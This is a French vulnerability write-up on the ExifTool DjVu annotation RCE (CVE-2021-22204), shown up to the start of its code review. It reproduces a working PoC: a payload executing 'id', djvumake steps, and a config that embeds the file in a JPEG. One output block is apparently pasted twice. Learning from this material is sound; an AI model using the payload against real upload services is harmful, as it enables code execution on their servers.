
Analyse technique approfondie de CVE-2021-22204 (ExifTool RCE) avec reproduction du PoC, construction de payload et revue de code Perl du parseur d'annotations DjVu vulnérable.
Ceci devrait être un article d'analyse de CVE-2021-22204, mais c'est plutôt comme mon brouillon, rempli de choses désordonnées. Pour un article d'analyse de vulnérabilité, cela semble un peu bavard, mais cela m'a beaucoup appris.
Honnêtement, je n'avais jamais utilisé cet outil et je n'avais presque jamais touché au langage Perl, ce qui fait que j'avais beaucoup de questions dans mon esprit pendant l'analyse et même la reproduction. Avant de commencer l'analyse, regardons d'abord les PoC déjà publiés en ligne et mes questions.
Un article que j'ai vu est [1], qui donne une brève introduction à la cause de la vulnérabilité, mais comme je ne comprends pas le code Perl, beaucoup de points ne sont pas clairs. Le processus de reproduction est le suivant :
Télécharger la version 12.23 d'exiftool
wget https://codeload.github.com/exiftool/exiftool/zip/refs/tags/12.23 -O exiftool-12.23.zip
Décompresser et installer
$ unzip exiftool-12.23.zip && cd exiftool-12.23
$ perl Makefile.PL
$ make test
$ sudo make install
Bien sûr, si vous ne voulez pas l'installer, vous pouvez simplement placer le fichier exiftool du répertoire exiftool-12.23 dans un dossier accessible par la variable d'environnement pour utiliser directement l'outil, car Perl est un langage interprété, similaire à Python.
Créer une image malveillante : d'abord, installer les outils nécessaires
$ sudo apt-get update
$ sudo apt-get install djvulibre-bin
Exécuter les commandes suivantes pour créer un fichier djvu malveillant
$ echo "(metadata \"\\\\c\${system('id')};\")" > payload
# C'est ce qui m'a le plus dérouté : je ne comprends pas pourquoi il faut compresser (car d'autres PoC ne le font pas)
$ bzz payload payload.bzz
$ djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
# INFO = Tout format 'N,N' où N est un nombre
# BGjp = Attend une image JPEG, mais on peut utiliser /dev/null pour n'utiliser aucune image de fond
# ANTz = Écrira le bloc d'annotation compressé avec le fichier d'entrée
Ensuite, analyser ce fichier malveillant avec l'outil exiftool, et on verra que la commande id est exécutée avec succès
$ exiftool exploit.jdvu
uid=1000(trganda) gid=1000(trganda) groups=1000(trganda),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),1001(docker)
ExifTool Version Number : 12.23
File Name : exploit.djvu
Directory : .
File Size : 88 bytes
File Modification Date/Time : 2021:11:02 21:55:23+08:00
File Access Date/Time : 2021:11:02 21:55:23+08:00
File Inode Change Date/Time : 2021:11:02 21:55:23+08:00
File Permissions : -rwxrwxrwx
File Type : DJVU
File Type Extension : djvu
MIME Type : image/vnd.djvu
Image Width : 1
Image Height : 1
DjVu Version : 0.24
Spatial Resolution : 300
Gamma : 2.2
Orientation : Horizontal (normal)
Image Size : 1x1
Megapixels : 0.000001
Lors de la création du fichier au format djvu avec la commande djvumake, peut-on éviter de compresser le payload ? Car du point de vue de l'analyse, cela rend la visualisation et le test moins pratiques. Bien sûr, il suffit de remplacer le paramètre ANTz par ANTa. Les instructions pour ANTz et ANTa se trouvent dans la documentation d'exiftool [3], mais je n'ai toujours pas trouvé leur signification précise, car aucune documentation standard n'a été trouvée.
Je voudrais me plaindre ici : j'ai essayé de consulter la description des paramètres via
man djvumake, mais elle ne contient aucune explication surANTzetANTa. La date du document est 2001, il n'a pas été mis à jour depuis longtemps.
| Tag ID | Tag Name | Writable |
|---|---|---|
| 'ANTa' | ANTa | - |
| 'ANTz' | CompressedAnnotation | - |
ANTa signifie stocker Annotation en texte clair dans metadata du fichier djvu, tandis que ANTz est au format compressé bzz.
Cependant, les fichiers au format djvu ne sont pas courants, en particulier sur les sites web où il y a des téléchargements d'images, la plupart n'acceptent que des fichiers png/jpg/jpeg. Donc, si on pouvait transformer un fichier djvu malveillant en fichier jpg, ce serait bien.
L'outil exiftool nous aide à modifier le contenu des images. Il suffit d'insérer le fichier djvu malveillant à un endroit approprié du fichier jpg. Nous expliquerons plus tard, lors de l'analyse, quel est cet emplacement et pourquoi il convient.
Créer un fichier de configuration exiftool eval.config
%Image::ExifTool::UserDefined = (
# All EXIF tags are added to the Main table, and WriteGroup is used to
# specify where the tag is written (default is ExifIFD if not specified):
'Image::ExifTool::Exif::Main' => {
# Example 1. EXIF:NewEXIFTag
# 0xc51b correspond au Tag 'HasselbladExif'[6]
0xc51b => {
# Le nom peut être défini arbitrairement, c'est le nom du paramètre reçu
Name => 'HasselbladExif',
# Type de variable accessible en écriture
Writable => 'string',
# Le groupe auquel les données écrites appartiennent dans les métadonnées[7]
WriteGroup => 'IFD0',
},
# add more user-defined EXIF tags here...
},
);
1; #end
Pour la syntaxe des fichiers de configuration d'exiftool, voir [4][5]. Ensuite, prendre une image jpg normale poc.jpg et exécuter la commande suivante
$ exiftool -config configfile '-HasselbladExif<=exploit.djvu' poc.jpg
Puis analyser poc.jpg avec exiftool ; la commande s'exécute avec succès
$ exiftool poc.jpg
uid=1000(trganda) gid=1000(trganda) groups=1000(trganda),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),1001(docker)
ExifTool Version Number : 12.23
File Name : exploit.djvu
Directory : .
File Size : 88 bytes
File Modification Date/Time : 2021:11:02 21:55:23+08:00
File Access Date/Time : 2021:11:02 21:55:23+08:00
File Inode Change Date/Time : 2021:11:02 21:55:23+08:00
File Permissions : -rwxrwxrwx
File Type : DJVU
File Type Extension : djvu
MIME Type : image/vnd.djvu
Image Width : 1
Image Height : 1
DjVu Version : 0.24
Spatial Resolution : 300
Gamma : 2.2
Orientation : Horizontal (normal)
Image Size : 1x1
Megapixels : 0.000001
L'analyse suivante s'appuie sur le contenu de [2]. La version affectée par la vulnérabilité est exiftool < 12.24. Le fichier à l'origine de la vulnérabilité est
lib/Image/ExifTool/DjVu.pm (line 202)
Le code de la fonction concernée est le suivant